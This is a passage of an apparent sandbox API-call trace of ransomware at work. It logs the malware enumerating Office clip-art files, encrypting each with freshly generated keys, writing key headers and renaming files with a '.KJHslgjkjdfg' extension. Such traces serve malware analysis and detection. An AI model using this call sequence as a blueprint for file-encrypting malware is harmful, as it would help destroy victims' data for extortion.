pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1890, dwBufLen=0x1890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1890) returned 1 [0201.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.836] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1890, lpOverlapped=0x0) returned 1 [0201.836] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.836] SetEndOfFile (hFile=0x130) returned 1 [0201.839] GetProcessHeap () returned 0x2ef0000 [0201.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.839] GetProcessHeap () returned 0x2ef0000 [0201.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.kjhslgjkjdfg")) returned 1 [0201.841] CloseHandle (hObject=0x130) returned 1 [0201.841] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0201.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.843] GetProcessHeap () returned 0x2ef0000 [0201.843] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.843] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.843] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.845] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.845] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.845] GetProcessHeap () returned 0x2ef0000 [0201.845] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.846] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.846] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.846] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.846] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40f8, lpOverlapped=0x0) returned 1 [0201.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4100, dwBufLen=0x4100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4100) returned 1 [0201.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4100, lpOverlapped=0x0) returned 1 [0201.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] SetEndOfFile (hFile=0x130) returned 1 [0201.851] GetProcessHeap () returned 0x2ef0000 [0201.851] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.851] GetProcessHeap () returned 0x2ef0000 [0201.851] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.kjhslgjkjdfg")) returned 1 [0201.853] CloseHandle (hObject=0x130) returned 1 [0201.853] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0201.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.854] GetProcessHeap () returned 0x2ef0000 [0201.854] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.854] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.854] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.874] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.874] GetProcessHeap () returned 0x2ef0000 [0201.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.874] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.874] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.874] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.875] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.875] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.875] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3094, lpOverlapped=0x0) returned 1 [0201.876] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30a0, dwBufLen=0x30a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30a0) returned 1 [0201.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.877] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30a0, lpOverlapped=0x0) returned 1 [0201.877] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.877] SetEndOfFile (hFile=0x130) returned 1 [0201.880] GetProcessHeap () returned 0x2ef0000 [0201.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.880] GetProcessHeap () returned 0x2ef0000 [0201.880] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.kjhslgjkjdfg")) returned 1 [0201.882] CloseHandle (hObject=0x130) returned 1 [0201.882] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0201.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.882] GetProcessHeap () returned 0x2ef0000 [0201.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.883] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.883] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.888] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.888] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.888] GetProcessHeap () returned 0x2ef0000 [0201.888] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.888] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.888] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.888] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.889] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1748, lpOverlapped=0x0) returned 1 [0201.890] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750, dwBufLen=0x1750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750) returned 1 [0201.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.890] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1750, lpOverlapped=0x0) returned 1 [0201.890] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.890] SetEndOfFile (hFile=0x130) returned 1 [0201.893] GetProcessHeap () returned 0x2ef0000 [0201.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.893] GetProcessHeap () returned 0x2ef0000 [0201.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.kjhslgjkjdfg")) returned 1 [0201.895] CloseHandle (hObject=0x130) returned 1 [0201.895] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0201.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.896] GetProcessHeap () returned 0x2ef0000 [0201.896] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.896] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.896] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.899] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.899] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.899] GetProcessHeap () returned 0x2ef0000 [0201.899] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.899] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.899] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.900] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.900] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.900] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.900] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2584, lpOverlapped=0x0) returned 1 [0201.901] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590, dwBufLen=0x2590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590) returned 1 [0201.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.901] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2590, lpOverlapped=0x0) returned 1 [0201.902] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.902] SetEndOfFile (hFile=0x130) returned 1 [0201.905] GetProcessHeap () returned 0x2ef0000 [0201.905] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.905] GetProcessHeap () returned 0x2ef0000 [0201.905] 